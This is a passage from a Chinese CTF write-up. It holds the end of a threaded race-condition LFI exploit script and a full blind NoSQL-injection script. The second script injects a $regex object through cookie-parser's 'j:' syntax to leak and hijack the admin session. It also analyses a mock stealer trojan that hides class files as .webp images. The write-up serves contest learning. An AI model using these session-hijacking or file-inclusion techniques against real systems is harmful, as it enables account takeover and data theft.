leaf="">)</span><span leaf=""><br/></span><span leaf="">        sys.exit(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;[*] Starting slow upload threads...&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 2. Start Slow Upload Threads</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> _ </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">2</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        t = threading.Thread(target=keep_alive_upload, args=(API_KEY,), daemon=</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        t.start()</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;[*] Starting race LFI threads...&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 3. Start Race LFI Threads</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> _ </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">20</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        t = threading.Thread(target=race_worker, args=(API_KEY,), daemon=</span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        t.start()</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;[*] Waiting for flag... (Ctrl+C to stop)&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">while</span></span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">            time.sleep(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">except</span></span><span leaf=""> KeyboardInterrupt:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;[*] Exiting.&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 10px 0px;padding: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.3166089965397924" data-type="png" data-w="578" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030459" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=60a28be4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBRP61IiaVg5NGZYYEXLExH5NJ912jqJqUShvenjbIk6ct8C9Jxeib2lwM0ILVLeMynTFMicuksKvxmcg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;align-items: unset;background: no-repeat;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow: unset;padding: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background: no-repeat rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding: 2px 10px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Easy Login</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">由于题目环境中的 sid 并没有通过 httpOnly: true 保护，且后端使用了 MongoDB 处理 Session，最简单的解法不是复杂的 XSS/XS-Leak，而是利用 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">NoSQL 注入</span></strong><span leaf="">直接劫持管理员会话。</span></p><figure data-tool="mdnice编辑器" style="margin: 10px 0px;padding: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.8790322580645161" data-type="png" data-w="620" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030466" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=8fd35ab5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBRP61IiaVg5NGZYYEXLExH5NfyJHiaUXDUS4NBO6cEicA2Yzqy6mojTALpK5sHLYTibe32bDK1ObkECjQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">脚本如下</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin: 10px 0px;padding: 0px;"><code style="overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> requests</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">import</span></span><span leaf=""> string</span><span leaf=""><br/></span><span leaf="">TARGET_URL = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;<a href="http://223.6.249.127:29558" target="_blank">http://223.6.249.127:29558</a>&#34;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">def</span></span><span style="color: rgb(97, 174, 238);line-height: 26px;"><span leaf="">solve</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># --- 场景 A：如果你已经有了已知的 sid ---</span></span><span leaf=""><br/></span><span leaf="">    know_sid = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;7cce9e910e6acd7f0104e4abd2dae8ea&#34;</span></span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;[*] Testing with provided sid: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{know_sid}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    res = requests.get(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{TARGET_URL}</span></span><span leaf="">/admin&#34;</span></span><span leaf="">, cookies={</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;sid&#39;</span></span><span leaf="">: know_sid})</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;alictf{&#34;</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> res.text </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">or</span></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;flag{&#34;</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> res.text:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;[+] Direct Login Success!&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        print(res.text)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># --- 场景 B：利用 NoSQL 注入爆破管理员的 sid ---</span></span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;[*] Starting NoSQL Blind Injection to leak Admin sid...&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 1. 先触发一次 visit，确保 admin 登录并产生了新的 session</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">        requests.post(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{TARGET_URL}</span></span><span leaf="">/visit&#34;</span></span><span leaf="">, json={</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;url&#34;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;<a href="http://example.com" target="_blank">http://example.com</a>&#34;</span></span><span leaf="">}, timeout=</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">5</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">except</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">pass</span></span><span leaf=""><br/></span><span leaf="">    leaked_sid = </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># sid 是 16字节 hex，即 32 个字符</span></span><span leaf=""><br/></span><span leaf="">    chars = string.digits + </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;abcdef&#34;</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> _ </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: rgb(209, 154, 102);line-height: 26px;"><span leaf="">32</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        found = </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">False</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">for</span></span><span leaf=""> char </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">in</span></span><span leaf=""> chars:</span><span leaf=""><br/></span><span leaf="">            test_sid = leaked_sid + char</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 利用 cookie-parser 的 j: 特性传入 MongoDB 查询对象</span></span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 查询 sid 以 test_sid 开头的记录</span></span><span leaf=""><br/></span><span leaf="">            cookies = {</span><span leaf=""><br/></span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;sid&#39;</span></span><span leaf="">: </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#39;j:{{ &#34;$regex&#34;: &#34;^</span><span leaf="">{test_sid}</span><span leaf="">&#34; }}&#39;</span></span><span leaf=""><br/></span><span leaf="">            }</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 访问 /me 看看当前 session 匹配到的是不是 admin</span></span><span leaf=""><br/></span><span leaf="">                response = requests.get(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{TARGET_URL}</span></span><span leaf="">/me&#34;</span></span><span leaf="">, cookies=cookies).json()</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> response.get(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;loggedIn&#39;</span></span><span leaf="">) </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">and</span></span><span leaf=""> response.get(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;username&#39;</span></span><span leaf="">) == </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;admin&#39;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                    leaked_sid += char</span><span leaf=""><br/></span><span leaf="">                    print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;[+] Leaking sid: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{leaked_sid}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">                    found = </span><span style="color: rgb(86, 182, 194);line-height: 26px;"><span leaf="">True</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">except</span></span><span leaf=""> Exception </span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">as</span></span><span leaf=""> e:</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">continue</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">not</span></span><span leaf=""> found:</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;[-] Could not leak more characters.&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> leaked_sid:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;[*] Final Admin SID: </span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{leaked_sid}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: rgb(92, 99, 112);font-style: italic;line-height: 26px;"><span leaf=""># 最后用拿到的 sid 请求 flag</span></span><span leaf=""><br/></span><span leaf="">        final_res = requests.get(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">f&#34;</span><span style="color: rgb(224, 108, 117);line-height: 26px;"><span leaf="">{TARGET_URL}</span></span><span leaf="">/admin&#34;</span></span><span leaf="">, cookies={</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#39;sid&#39;</span></span><span leaf="">: leaked_sid})</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;[+] Result:&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">        print(final_res.text)</span><span leaf=""><br/></span><span style="color: rgb(198, 120, 221);line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: rgb(152, 195, 121);line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    solve()</span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 10px 0px;padding: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="1.233433734939759" data-type="png" data-w="664" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030464" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=c1ccd9de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBRP61IiaVg5NGZYYEXLExH5Nys1qRfANfhzDFdgOb0eveRgNgkianZFJh2cKUQCnCB6FL5M1HZQ9yTw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-color: rgb(0, 0, 0);margin: 30px 30px 15px;padding: 12px 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: solid;border-width: 1px;border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: initial;border-color: initial;border-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;padding: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">Reverse:</span></span></h2><h3 data-tool="mdnice编辑器" style="margin: 30px 0px 15px;align-items: unset;background: no-repeat;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow: unset;padding: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background: no-repeat rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding: 2px 10px;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Thief</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">它模拟了一个窃密木马（Thief）从手机中扫描、加密、压缩并外传 Java 源代码的全过程。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">第一阶段：资源伪装与环境准备（静态分析）</span></strong></p><ol style="list-style-type: decimal;margin: 8px 0px;padding: 0px 0px 0px 25px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">伪装入口</span></strong><span leaf="">：题目给出的 Android 项目中，res/mipmap 目录下有很多数字命名的 .webp 文件（如 f5e568c9...webp）。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">本质识别</span></strong><span leaf="">：这些 .webp 资源文件头为 CAFEBABE，实际是伪装的 Java .class。通过解析 constant pool 获取 internal name，重建包路径后即可直接加载/反射调用其中的逻辑。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">动态加载</span></strong><span leaf="">：木马通过 MainActivity（表面看起来是空的）或者 Native 层，利用 DexClassLoader 动态加载这些 .webp 文件中的代码。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">功能定位</span></strong><span leaf="">：</span></p></li></ol><ul style="list-style-type: square;margin: 8px 0px;padding: 0px 0px 0px 25px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">**扫描器 (C0003L)**：负责递归遍历手机目录，寻找所有以 .java 结尾的源代码文件。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">**配置类 (ConstantPool)**：通过复杂的位运算混淆，存储了加密算法所需的常量、指令和“Native”等关键词。</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">第二阶段：数据处理流水线（核心算法）</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">当木马找到一个 .java 文件后，会依次经过以下三个模块处理：</span></p><ol style="list-style-type: decimal;margin: 8px 0px;padding: 0px 0px 0px 25px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">虚拟机加密 (Runner.encrypt)</span></p></li></ol><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">这是这道题最难的“黑盒”。它实现了一个 **自定义虚拟机 (VM)**：</span></p><ul style="list-style-type: square;margin: 8px 0px;padding: 0px 0px 0px 25px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">它接收 8 字节随机 Key、IV 以及一组长长的 Base64 指令（存储在常量池中）。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">它将原始 Java 代码作为“数据”，在自定义指令集的驱动下进行置换、移位等变换。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">对称性</span></strong><span leaf="">：算法是对称的。这意味着如果你能再次调用这个 encrypt 函数并传入相同的 Key/IV，密文就会还原成原文。</span></p></li></ul><ol style="list-style-type: decimal;margin: 8px 0px;padding: 0px 0px 0px 25px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">自定义压缩 (Il1.LZRR)</span></p></li></ol><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="">为了减少流量体积，加密后的数据会被送入压缩引擎：</span></p><ul style="list-style-type: square;margin: 8px 0px;padding: 0px 0px 0px 25px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">算法</span></strong><span leaf="">：实现了一个名为 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">LZRR</span></strong><span leaf="">的自定义 LZ77 算法。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">特征</span></strong><span leaf="">：“压缩块以 4C 5A 52 52（LZRR）开头，包含 version/mode/origLen/crc32，后续为 bitstream（mode=15 时还会先经过 RLE 层）。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background: left top no-repeat rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;"><span leaf="">校验</span></strong><span leaf="">：包含一个 CRC32 校验码（由硬编码的 0xEDB88320 多项式表生成）。</span></p></li></ul><ol style="list-style-type: decimal;margin: 8px 0px;padding: 0px 0px 0px 25px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: 